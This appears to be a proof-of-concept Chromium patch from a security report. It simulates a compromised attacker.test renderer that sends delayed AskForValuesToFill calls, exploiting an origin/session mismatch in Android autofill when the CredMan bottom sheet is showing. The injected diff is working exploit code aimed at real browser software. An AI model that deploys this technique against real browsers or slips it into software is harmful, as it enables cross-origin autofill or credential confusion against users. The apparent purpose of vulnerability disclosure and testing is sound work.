Renderer-side injection for Strategy B (compromised-renderer simulation).

Applies to an Android (target_os = "android") checkout. With this patch, the
attacker.test main-frame renderer fires mojom::AutofillDriver::AskForValuesToFill
for its own form 250 ms after every focus event in any frame of the page. When
the user focuses the autocomplete="webauthn" field in the victim subframe, the
CredMan bottom sheet opens (credman_sheet_status_ = kIsShowing) and ~250 ms
later this injected call lands in
AndroidAutofillProvider::OnAskForValuesToFill, which runs UpdateCurrentField()
and then early-returns at L213-215 without touching session_state_->{form,
manager}.

The browser assigns field.origin() = main frame's last-committed origin
(content_autofill_driver.cc:105), so after this call
session_state_->current_field.origin == attacker.test while
session_state_->form/manager still belong to the victim's F1 session.

--- a/components/autofill/content/renderer/autofill_agent.cc
+++ b/components/autofill/content/renderer/autofill_agent.cc
@@ -41,6 +41,7 @@
 #include "base/strings/string_util.h"
 #include "base/strings/utf_string_conversions.h"
 #include "base/task/single_thread_task_runner.h"
+#include "base/task/sequenced_task_runner.h"
 #include "base/time/time.h"
 #include "components/autofill/content/renderer/a11y_utils.h"
 #include "components/autofill/content/renderer/form_autofill_issues.h"
@@ -1575,6 +1576,30 @@ void AutofillAgent::ShowSuggestionsForFormControl(
   }

   is_popup_possibly_visible_ = true;
+
+  // ---- POC: compromised attacker.test main-frame renderer ----
+  // After ANY focus-triggered query in the page, the main-frame agent fires a
+  // delayed AskForValuesToFill for its own #attacker_f2 form. If the focus was
+  // on the victim subframe's autocomplete="webauthn" field, the browser's
+  // AndroidAutofillProvider is now in CredManBottomSheetLifecycle::kIsShowing
+  // and will hit the early-return at android_autofill_provider.cc:213-215
+  // AFTER UpdateCurrentField() has overwritten current_field.origin.
+  if (render_frame() && render_frame()->IsMainFrame()) {
+    FormData poc_form = form;
+    FieldRendererId poc_field = field->renderer_id();
+    base::SequencedTaskRunner::GetCurrentDefault()->PostDelayedTask(
+        FROM_HERE,
+        base::BindOnce(
+            [](base::WeakPtr<AutofillAgent> self, FormData f,
+               FieldRendererId fid) {
+              if (!self || !self->unsafe_autofill_driver()) return;
+              self->unsafe_autofill_driver()->AskForValuesToFill(
+                  f, fid, gfx::Rect(),
+                  mojom::AutofillSuggestionTriggerSource::kFormControlElementClicked,
+                  std::nullopt);
+            },
+            weak_ptr_factory_.GetWeakPtr(), std::move(poc_form), poc_field),
+        base::Milliseconds(250));
+  }
+  // ---- end POC ----
+
   if (auto* autofill_driver = unsafe_autofill_driver()) {
     if (auto* render_frame = unsafe_render_frame()) {
       autofill_driver->AskForValuesToFill(form, field->renderer_id(),